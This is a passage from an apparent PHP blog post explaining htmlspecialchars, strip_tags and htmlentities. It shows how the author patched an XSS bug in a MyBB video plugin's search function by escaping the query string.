$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new;
?>





This show –> &lt;a href=’test’&gt;Test&lt;/a&gt;
The funztion strip_tags(), instead, deletes all HTML elements, except certain elements that need to specify permitted such as <i>, <b> or <p>.
An example of strip_tags()
Code PHP:
<?php
$text = '<p>Test paragraph.</p><!-- Comment --> Other text';
echo strip_tags($text);
echo "\n";
// allow <p>
echo strip_tags($text, '<p>');
?>

Now that we know at least that there are these functions, we will  apply into the code when we find a xss in our web application.

I  recently found an xss on a website in Video section of GoogleBig which is a plugin of Mybb forum, I have placed a piece of code to make the idea of how I had to apply the function to fix the search bug.

First of all I have found the php page in question: search.php

Now let’s look for the portion of code that makes available research, query and output the result of the query:


Code PHP:
function search($query, $page)
{
global $db, $bgcolor2, $bgcolor4, $sitename, $io_db, $module_url, $list_page_items, $hm_index;
$option = trim($option);
$query = trim($query);
$query = FixQuotes(nl2br(filter_text($query)));
$db->escape_string($query);
$db->escape_string($option);
alpha_search($query);
...


In this case the variable that passes the values is $query then we apply the function htmlentities():
Code PHP:
$query = FixQuotes(nl2br(filter_text(htmlentities($query))));



If you have problems you can comment here, or consult the manuals on these 3 php functions that we saw:

http://php.net/htmlentities
http://php.net/htmlspecialchars
http://php.net/strip_tags

Posted By z0mb137:07 AM